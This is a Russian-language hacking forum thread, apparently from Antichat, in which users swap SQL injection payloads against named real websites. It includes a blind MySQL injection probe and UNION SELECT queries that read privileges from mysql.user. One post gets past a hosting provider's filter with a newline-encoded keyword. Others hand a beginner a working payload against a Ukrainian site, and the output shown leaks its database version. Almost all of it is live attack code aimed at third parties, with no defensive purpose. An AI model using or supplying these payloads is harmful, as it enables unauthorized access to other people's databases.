26.07.2012, 14:49
|
|
Участник форума
Регистрация: 03.06.2011
Сообщений: 288
С нами:
7864886
Репутация:
-5
|
|
http://betz.su/myturnir/turnir.php?tur=455%27+and+substring((@@version),1, 1)='5
Нет нечего
|
|
|
26.07.2012, 15:11
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами:
9176038
Репутация:
8
|
|
Сообщение от Hapk
http://betz.su/myturnir/turnir.php?tur=455%27+and+substring((@@version),1, 1)='5
Нет нечего
Blind MySQL-Injection ? Не слышал, не ?
А тут читал ??
|
|
|
|
26.07.2012, 15:23
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
С нами:
11217866
Репутация:
3812
|
|
Сообщение от BigBear
Blind MySQL-Injection ? Не слышал, не ?
А
тут
читал ?? а ты читал что
Сообщение от Melfis
фильтруется select и union
, а стало быть подзапросы не работают?
__________________
|
|
|
|
27.07.2012, 17:33
|
|
Постоянный
Регистрация: 12.10.2011
Сообщений: 569
С нами:
7676246
Репутация:
94
|
|
Как обойти зашиту от Spaceweb?
У меня такой запрос:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//site.ru/news_view.php?id=-189'+union+select+1,2,3,4,5,6,7,file_priv,9+from+mysql.user+--+[/COLOR][/COLOR]
Но после выполняется редирект на сайт Spaceweb, как обойти это? |
|
|
|
27.07.2012, 18:19
|
|
Постоянный
Регистрация: 06.01.2012
Сообщений: 913
С нами:
7552406
Репутация:
724
|
|
Сообщение от MaxFast
Как обойти зашиту от Spaceweb?
У меня такой запрос:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//site.ru/news_view.php?id=-189'+union+select+1,2,3,4,5,6,7,file_priv,9+from+mysql.user+--+[/COLOR][/COLOR]
Но после выполняется редирект на сайт Spaceweb, как обойти это? Попытаться вызвать ошибку, например используя extravalue()
|
|
|
|
27.07.2012, 18:30
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
С нами:
9061916
Репутация:
0
|
|
Сообщение от MaxFast
Как обойти зашиту от Spaceweb?
У меня такой запрос:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//site.ru/news_view.php?id=-189'+union+select+1,2,3,4,5,6,7,file_priv,9+from+mysql.user+--+[/COLOR][/COLOR]
Но после выполняется редирект на сайт Spaceweb, как обойти это? http://site.ru/news_view.php?id=-189'+union %0Aselect+1,2,3,4,5,6,7,file_priv,9+from+mysql.user+--+
|
|
|
|
28.07.2012, 13:32
|
|
Новичок
Регистрация: 28.09.2010
Сообщений: 29
С нами:
8222006
Репутация:
1
|
|
Добрый день, я совсем новичок, и вот нашел парсером скуль и начал пробовать вот так:
Код:
http://prazdnik.com.ua/index.php?id=54&pid=3509+order+by+10/*
http://prazdnik.com.ua/index.php?id=54&pid=3509+order+by+10
http://prazdnik.com.ua/index.php?id=54&pid=3509+order+by+10
http://prazdnik.com.ua/index.php?id=54&pid=-3509+order+by+10/*
http://prazdnik.com.ua/index.php?id=54&pid=1+order+by+10
http://prazdnik.com.ua/index.php?id=54&pid=-1+order+by+10
http://prazdnik.com.ua/index.php?id=54&pid=1+union+select+1,2,3,4,5
и т.д.
Но нужных ошибок я все равно не получил, кто может раскрутите, покажите и ткните что я неправильно сделал |
|
|
|
28.07.2012, 13:51
|
|
Новичок
Регистрация: 14.12.2011
Сообщений: 0
С нами:
7585526
Репутация:
3
|
|
to compod
http://prazdnik.com.ua/index.php?id=54&pid=3509-9999.9+union+select+111111,version(),33333333,4444 4444,555555,6666666,7777777,8888888,9999999,10,11, 12,13,14,15--+f
Вывод в исходном коде на 399 строке
либо в середине страницы
5.0.51a-24+lenny5-log
|
|
|
|
28.07.2012, 14:00
|
|
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
С нами:
8866466
Репутация:
564
|
|
http://prazdnik.com.ua/index.php?id=54&pid=3509+union+select+1,version(), 3,4,5,6,7,8,9,10,11,12,13,14,15--
Самые забавные первоапрельские розыгрыши 2013 на телефон
5.0.51a-24+lenny5-log
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
|
|
|
|
28.07.2012, 14:10
|
|
Новичок
Регистрация: 28.09.2010
Сообщений: 29
С нами:
8222006
Репутация:
1
|
|
Сообщение от shell_c0de
http://prazdnik.com.ua/index.php?id=54&pid=3509+union+select+1,version(), 3,4,5,6,7,8,9,10,11,12,13,14,15--
Самые забавные первоапрельские розыгрыши 2013 на телефон
5.0.51a-24+lenny5-log
а как ты узнал что выводиться именно вторая колонка?
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
